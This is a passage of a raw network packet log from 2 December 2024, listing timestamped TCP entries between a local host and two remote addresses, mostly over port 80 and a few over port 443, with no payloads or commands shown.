Dec 2, 2024 07:37:56.366316080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.366328955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.367000103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.367022038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.367069006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.367193937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.367248058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.368138075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.368153095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.368185043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.368213892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.368994951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.369014025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.369054079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.369102001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.369251966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.369318008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.369371891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.369427919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.370177984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.370235920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.370240927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.370279074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.373250961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373300076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.373421907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373473883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.373841047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373852968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373878956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373887062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.373891115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.373914003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.373936892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.374396086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.374450922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.374531984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.374569893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.375354052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.375412941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.531466961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.531610966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.531816006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.531961918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.532030106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.532102108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.532161951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.532815933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.532874107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.533144951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.533185005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.533242941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.533288956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.534028053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.534073114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.534090996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.534147024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.534917116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.535070896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.535126925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.535835028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.535892963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.535904884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.535945892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.536741018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.536845922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.536864996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.536889076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.537688017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.537754059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.537812948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.538512945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.538569927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.538621902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.538655996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.538698912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.539463043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.539513111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.539577961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.540355921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.540406942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.540412903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.540445089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.541268110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.541371107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.541424036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.542160988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.542233944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.542257071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.542304993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.543061972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.543167114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.543227911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.543998003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.544039965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.544105053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.544230938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.544891119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.544939041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.544945955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.545000076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.545795918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.545846939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.545881033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.545924902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.546668053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.546786070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.546842098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.547578096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.547614098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.547665119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.547665119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.548491001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.548589945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.548686028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.549407005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.549454927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.549496889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.549508095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.550250053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.550352097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.677772999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:56.797631979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:56.991044044 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:56.995039940 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:56.995064974 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:56.995578051 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:56.995584965 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.138705015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.138734102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.138783932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.138851881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.139029980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.139081955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.139149904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.139199018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.139889002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.139949083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.139985085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.140057087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.140793085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.140849113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.140888929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.141169071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.141700983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.141742945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.141805887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.141854048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.142713070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.142726898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.142776012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.142776012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.143492937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.143560886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.143666983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.143770933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.144449949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.144471884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.144604921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.145361900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.145486116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.145498991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.145543098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.146198034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.146250010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.146274090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.146387100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.147140026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.147236109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.147265911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.147334099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.148036003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.148088932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.148165941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.148309946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.148876905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.148938894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.148974895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.149039030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.149823904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.149882078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.149941921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.150013924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.150684118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.150785923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.150826931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.150893927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.151601076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.151664019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.151689053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.151720047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.152542114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.152633905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.152770996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.152956963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.153512001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.153563023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.153637886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.153851032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.154298067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.154385090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.154418945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.154474020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.155230999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.155368090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.155399084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.155428886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.156130075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.156177998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.156210899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.156264067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.157080889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.157145023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.157211065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.157262087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.157906055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.157968044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.158035994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.158077955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.158798933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.158850908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.158915997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.158955097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.159706116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.159765005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.159832001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.159883022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.160676956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.160726070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.160754919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.160841942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.161521912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.161676884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.161679983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.161725998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.162406921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.162508011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.162539959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.162619114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.163327932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.163381100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.163436890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.163520098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.164228916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.164280891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.164299965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.164340973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.165162086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.165208101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.165214062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.165263891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.166095018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.166140079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.166172028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.166254044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.172796965 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.173329115 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.173336983 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.173913002 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.173918009 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.269326925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.269469023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.269545078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.269866943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.269879103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.269917965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.269957066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.270633936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.270756006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.270834923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.271564960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.271619081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.271662951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.271662951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.272491932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.272505045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.272547007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.272547007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.273433924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.273447990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.273545027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.274316072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.274369955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.274383068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.274426937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.275161982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.275271893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.275325060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.276072979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.276124954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.276143074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.276221991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.276916981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.276973963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.277004957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.277050972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.277823925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.277882099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.277900934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.277940035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.278767109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.278805017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.278860092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.279650927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.279714108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.279736042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.279799938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.280560970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.280610085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.280642033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.281470060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.281502962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.281522036 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.281548023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.282413006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.282461882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.282461882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.282556057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.283267021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.283338070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.283369064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.283425093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.284207106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.284229040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.284251928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.284279108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.285116911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.285130024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.285162926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.285177946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.285948992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.286011934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.286065102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.286824942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.286945105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.286987066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.287735939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.287806034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.287827969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.287894011 CET	49823	80	192.168.2.6	185.215.113.206
